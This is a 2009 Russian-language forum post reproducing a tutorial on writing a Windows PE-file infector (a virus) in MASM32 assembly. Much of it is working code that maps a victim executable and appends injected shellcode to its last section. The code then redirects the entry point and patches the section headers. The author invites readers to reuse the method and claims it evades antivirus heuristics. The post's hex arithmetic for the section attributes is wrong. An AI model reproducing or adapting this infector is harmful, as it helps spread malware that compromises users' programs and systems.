Инфектор PE-файлов

Тема в разделе "Статьи", создана пользователем Mei, 9 фев 2009.

  1. Mei
    Mei Guest
    Введение

    Добрый вечер дамы и господа! Если вы читаете этот документ, то вы наверное прочитали знакомые слова в названии статьи или вы новичок и хотите узнать больше о компьютерной вирусологии. А может Вы просто щелкнули на ссылку в броузере из-за любопытства. Ну ладно, не будет превращать эту статью в низкосортное литературное произведение, и перейдем ближе к делу. В этой статье мы напишем инфектор-PE файлов. Эта статья описывает: во-первых, как заражать исполняемые файлы(PE - Portable Executable) в операционной системе Windows, во-вторых, процесс создания Windows-приложений на ассемблере, в-третьих, некоторые системные механизмы ОС семейства Windows. Эта статья не претендует на оригинальность, а просто, возможно, добавит Вам некоторые новые знания в области операционных систем Windows. Мы создадим пользовательский интерфейс для нашего инфектора, и опишем действия которые нужны для заражения PE-файлов. Инфектор, возможно, не учитывает всех тонкостей, но этот материал даст Вам пищу для размышлений.

    Способ заражения

    Заражать файл мы будем с помощью метода добавления кода в последнюю секцию. Это не оригинальный способ, но он реально работает, и Вы можете его использовать в своих работах, несколько модифицировав. Как Вы знаете, в PE-файле есть секции, которые содержат материал для приложения, т.е. код, данные, ресурсы, информация для отладчика, информация о базовых поправках, таблица импорта/экспорта и т.д. Принципиально секции различаются по атрибутам. Т.е. например секция .text(для компиляторов от Microsoft), которая содержит код для исполнения приложением, имеет атрибуты: Code, Executable, Readable. Так же и все остальные секции. Секции которые содержаться в PE-файле описываются в таблице секций. Это массив структур, в которых содержится вся необходимая информация о секции. Это кратко о секциях. Мы просто ищем в таблице секций максимальное смещение секции в файле(!). В конец этой секции мы записываем наш код, а также с учетом файлового смещения(File Alignment) забиваем нулями остальное место. После того как наш код вставлен необходимо модифицировать таблицу секций, а также сам заголовок PE-файла(PE header). Вот действия по шагам, которые Вам надо сделать, чтобы заразить PE-файл:

    -Находим последнюю секцию виртуально и физически.
    -Проверка, не равен ли размер последней секции нулю.
    -Если нет, то записываем в конец секции код вируса.
    -Выравниваем новую секцию с учетом файлового выравнивания.
    -Правим виртуальный и физический размеры секций.
    -Правим точку входа.
    -Правим размер образа - ImageSize=VirtualSize+VirtualAddress
    -Правим - характеристики - на 0А0000020h

    Чтобы что-то записывать в исполняемый файл я буду использовать файловую проекцию(FileMapping). File Mapping - это механизм позволяющий работать с файлом как будто он находиться в оперативной памяти. Мы записываем данные в память, а на самом деле мы записываем их в файл. Этот механизм достаточно широко используется при программировании приложений для Windows, а также его использует сама ОС, например при запуске исполняемого файла на выполнение (функцией CreateProcess(…)). Файловый мэппинг используется как механизм для связи между процессами, если создать общий раздел памяти.

    Обеспечиваем доступ к данным в файле

    Давайте же приступим, наконец, к кодированию. У нас есть файл PE-формата. И Вы, естественно, должны знать структуру PE-файла. Вкратце рассмотрим этот формат. Вот его общая структура (взята из книги Мета Питрека "Секреты системного программирования для Windows 95"):

    [​IMG]

    Исчерпывающие определения структур вы найдете в файле WINNT.H. Названия структур в WINNT.H, которые соответствуют структурам PE-файла:

    IMAGE_DOS_HEADER - DOS .EXE header
    IMAGE_FILE_HEADER - файловый заголовок
    IMAGE_OPTIONAL_HEADER - опциональный заголовок. Опциональным называется потому, что при создании PE-формата разработчики предполагали, что структура этого заголовка будет варьироваться от разных реализаций. "Опциональный" не означает, что он может быть, а может и не быть, как считают некоторые.
    IMAGE_SECTION_HEADER - элемент, в таблице секций который, описывает каждую секцию в исполняемом файле.
    Если Вас интересуют какие-то поля, то смотрите их в заголовочном файле WINNT.H.
    Для заражения мы проецируем файл-жертву в память с помощью моей любимой функции CreateFileMapping:


    Код:
    invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE, \
           FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
    ;открываем файл для проецирования
    ;с помощью функции CreateFile указываем на каком носителе находиться файл
    .IF eax==INVALID_HANDLE_VALUE ;если файла нет, то выходим
    jmp error
    .ENDIF
    mov hFileTo,eax;хэндл файла в hFileTo
    invoke GetFileSize,hFileTo,NULL;получить размер exe файла
    mov edi,eax
    invoke GetFileSize,hFileFrom,NULL
              ;получить размер файла, где находиться код для заражения
    add eax,7;7 байт занимает код для восстановления в точку входа
    mov ecx,eax;код далее высчитывает размер нового файла с учетом размера 
               ;внедряемого кода и файлового выравнивания
    mov ebx,4096
    dec ebx
    add ecx,ebx
    not ebx
    and ecx,ebx;
    add edi,ecx;в еcx теперь размер файла с учетом вставки нового кода
    ;формула для вычисления размера с учетом выравнивания 
    ; (x+(y-1))&(~(y-1)), где x -;размер без выравнивания, 
    ; y - выравнивающий фактор
    invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL
                   ;создаем проекцию файла для чтения и записи
    .IF eax==NULL
        jmp error
    .ENDIF
    mov hFileMappingTo,eax
    invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0
        ;передаем физическую 
    	;память для данного файла в память
    .IF eax==NULL
    	jmp error
    .ENDIF
    mov hMappingTo,eax
    ;адрес в адресном пространстве текущего процесс для 
    ;спроецируемого файла в hMappingTo
    Здесь надо немного пояснить код, если Вы вдруг чего-нибудь не поняли. С проецированием должно быть все понятно. Важно учитывать, что инфектор должен восстанавливать точку входа, т.е. после выполнения Вашего внедренного кода, код должен прыгнуть на нормальную точку входа программы. 7 байт занимает этот прыжок. Расширение последней секции происходит, учитывая файловое выравнивание. Формула для быстрого подсчета размера с учетом выравнивания дана в комментариях к коду. Например, у Вас есть значение 1322, а выравнивающий фактор 400, то выровненное значение будет равно 1600. При передаче физической памяти, передаем весь файл полностью. После этого кода, по адресу обозначенному меткой hMappingTo будет находиться виртуальный адрес начала exe-файла-жертвы. Файл, откуда берется код для заражения также проецируется, но вы могли взять данные для заражения каким-либо другим способом. Это же относиться и к файлу-жертве.

    Путешествуем по PE файлу и вылавливаем нужные для нас данные

    Здесь мы будем вылавливать данные из файлового и опционального заголовка, нужные нам для заражения. Вот что нам необходимо: количество секций, адрес точки входа, выравнивающий фактор, адрес размера образа, база образа, точка входа, указатель на характеристики секции, указатель на характеристики последней секции, размеры(!) секции. Если вы видите, что лишняя переменная выделена, например адрес точки входа и точка входа, то это было сделано сознательно для более лучшего усвоения материала, более четкой структурированности. Естественно, Вы можете улучшить этот код, оптимизируя его или подстраивая его под свои требования. После получения нужных данных проходим по таблице секций и ищем секцию с максимальным физическим смещением в файле(!).

    Код:
    ;------------------------Работа с PE-заголовком------------
    ;-получаем количество секций и проходим до опционального заголовка-
    mov edi,hMappingTo
    assume edi:ptr IMAGE_DOS_HEADER
    add edi,[edi].e_lfanew;в edi - PE заголовок
    add edi,4;в edi - адрес файлового заголовка
    assume edi:ptr IMAGE_FILE_HEADER
    push [edi].NumberOfSections
    pop NumberOfSections
    add edi,sizeof IMAGE_FILE_HEADER ;в edi - адрес опционального 
                                     ; заголовка
    assume edi:ptr IMAGE_OPTIONAL_HEADER
    ;-----получаем VA точки входа чтобы потом ее перебить
    mov EntryPoint,edi
    add EntryPoint,16
    ;-----получаем выравнивание секций
    push [edi].FileAlignment
    pop FileAlignment
    ;-----получаем адрес ImageSize
    mov pImageSize,edi
    add pImageSize,56
    ;-----получаем базу PE-файла
    push [edi].ImageBase
    pop Base
    ;-----получаем точку входа
    push [edi].AddressOfEntryPoint
    pop Point
    ;-----переходим в таблицу секций и ищем последнюю секцию
    add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций
    assume edi:ptr IMAGE_SECTION_HEADER
    mov MaxOffset,0
    xor ecx,ecx
    mov cx,NumberOfSections
    .WHILE ecx>0 ;цикл поиска смещения в файле последней секции. 
                 ;на выходе в MaxOffset - смещение относительно 
    			 ;начала файла последней секции
    mov eax,MaxOffset
    .IF [edi].PointerToRawData>eax ;если размер этой секции 
                                   ;больше предыдущего, то…
    	push [edi].PointerToRawData
    	pop MaxOffset;смещение в файле
    	push [edi].SizeOfRawData
    	pop SizeOfLastSection;размер последней секции
    	mov pSizeOfLastSection,edi	
    	add pSizeOfLastSection,16;указатель на характеристики
    	mov pVSizeOfLastSection,edi
    	add pVSizeOfLastSection,8;указатель на виртуальный размер
    	mov eax,[edi].VirtualAddress
    	mov esi,[edi].SizeOfRawData
    	add eax,esi;в eax размер секции с учетом выравнивания
    	mov SizeOfRawData,eax
    	mov eax,[edi].VirtualAddress;виртуальный адрес  в eax
    	mov VirtualAdd,eax
    	mov pCharacters,edi
    	add pCharacters,36;адрес характеристик последней секции
    .ENDIF
    add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции
    dec ecx
    .ENDW
    ;------------------------End Работа с PE-заголовком------------
    mov edi,pSizeOfLastSection ; проверяем, не нулевая ли 
                               ; последняя секция?
    mov eax,dword ptr [edi]; размер секции  в eax
    .IF eax==0
    	invoke MessageBox,0,offset SectionError,offset ErrorTitle,0
    .ENDIF
    В таблице секций, VirtualSize соответствует размеру секции без выравнивания, а SizeOfRawData с учетом файлового выравнивания. По-моему, название VirtualSize выбрано не очень подходящее. На выходе из этого кода в MaxOffset получаем смещение последней секции.

    Внедряем код

    Код мы будем внедрять из области памяти в которую был спроецирован файл с данными. Команды для внедрения Вы должны сформировать самостоятельно в шелл-код стиле. Сразу после окончания Вашего кода инфектор добавляет инструкцию перехода на нормальную точку входа программы. Эта инструкция занимает 7 байт памяти. Запись кода производиться не с конца кода последней секции, а со смещения кратного файловому смещению. Этим ходом мы и обманываем современные антивирусы и соответственно их эвристические анализаторы. Для Вас задание: сделать этот код в 2 раза короче. Это возможно.

    Код:
    ;----------------внедряем код---------------
    cld
    mov edi,hMappingTo
    mov eax,MaxOffset
    add eax,SizeOfLastSection
    add edi,eax;в edi - конец последней секции, 
               ; т.е адрес с которого начинать запись
    mov esi,hMappingFrom; в hMappingFrom - адрес 
                        ; кода который нужно записать
    invoke GetFileSize,hFileFrom,NULL
    mov ecx,eax
    rep movsb;внедряем код
    mov esi,offset code
    mov eax,dword ptr [esi]
    mov dword ptr [edi],eax
    inc esi
    inc edi
    mov eax,Base
    add eax,Point
    mov dword ptr [edi],eax
    add edi,4
    add esi,4
    mov eax,dword ptr [esi]
    mov dword ptr [edi],eax
    inc edi
    inc esi
    mov eax,dword ptr [esi]
    mov dword ptr [edi],eax
    inc edi
    inc esi
    mov eax,dword ptr [esi]
    mov dword ptr [edi],eax
    Далее заполняем нулями оставшуюся часть памяти, учитывая опять же смещение:

    Код:
    ;--это типа для заполнения нулями оставшейся части 
    ;--для учета FileAlignment----
    invoke GetFileSize,hFileFrom,NULL
    add eax,7
    mov ecx,eax
    mov ebx,FileAlignment
    dec ebx
    add ecx,ebx
    not ebx
    and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
    mov esi,edi
    add edi,ecx
    sub edi,eax
    .WHILE 1
    	mov byte ptr [esi],0
    	inc esi
    	.IF esi==edi
    		.BREAK
    	.ENDIF
    .ENDW
    Вот и все код внедрен, осталось поправить некоторые значения в PE-файле.

    Код:
    ;-----записываем новый размер последней секции
    mov eax,MaxOffset
    add eax,hMappingTo
    sub edi,eax
    mov esi,pSizeOfLastSection
    mov [esi],edi;записываем новый размер секции в 
                 ;таблицу секций
    mov esi,pVSizeOfLastSection
    mov ecx,[esi]
    mov ebx,FileAlignment
    dec ebx
    add ecx,ebx
    not ebx
    and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
    mov dword ptr [esi],ecx
    invoke GetFileSize,hFileFrom,NULL;виртуальный размер 
             ; - размер секции без файлового выравнивания
    add eax,7
    add [esi],eax;записывает виртуальный размер секции
    mov eax,dword ptr [esi]
    push eax
    mov esi,EntryPoint
    mov eax,SizeOfRawData
    mov [esi],eax;меняем точку входа
    pop eax
    mov esi,pImageSize
    mov edi,ImageSize
    add edi,eax
    mov [esi],edi;изменяем ImageSize
    mov esi,pCharacters
    mov dword ptr [esi],0A0000020h;правим характеристики 
                                  ;секции
    Все изменяемые поля тривиальны и говорят сами за себя, кроме Characteristics. Это атрибуты секций. Вот список возможных атрибутов:

    Код:
    #define IMAGE_SCN_CNT_CODE 0x00000020 // Секция содержит код
    #define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 //Секция содержит инициализированные данные
    #define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 //Секция содержит //неинициализированные данные
    #define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // Секция содержит расширенные поправки
    #define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Секция может быть игнорирована
    #define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Секция не кешируема
    #define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 //Секция не сбрасывается в страничный файл
    #define IMAGE_SCN_MEM_SHARED 0x10000000 // Общая секция
    #define IMAGE_SCN_MEM_EXECUTE 0x20000000 //Секция выполняемая
    #define IMAGE_SCN_MEM_READ 0x40000000 // Секция для чтения
    #define IMAGE_SCN_MEM_WRITE 0x80000000 //Секция для записи
    Мы устанавливаем следующие атрибуты - Секция содержит код, для чтения и для записи:

    Код:
    0x00000020+
    0x40000000+
    0x80000000=
    0xa0000020
    Программа PeInfector (учебно-тестовая программа, демонстрирующая вышеописанные технологии

    Здесь: http://wasm.ru/pub/6/files/peinfector.asm содержится полный код инфектора. Сначала создается окно. Когда окну посылается сообщение WM_CREATE, то на нем создается три кнопки и два edit-бокса. Программа использует директивы masm32 и соответственно предназначена для его компилятора.

    Компиляция

    Код:
    \masm32\bin\ml.exe /c /coff work.asm
    \masm32\bin\link.exe  /SUBSYSTEM:WINDOWS work.obj
    ©wasm.ru​
     
    9 фев 2009
    1 человеку нравится это.
  2. anxa
    anxa Guest
    такую классику жанра, думаю, можно было бы и не постить...
     
    9 фев 2009
Загрузка...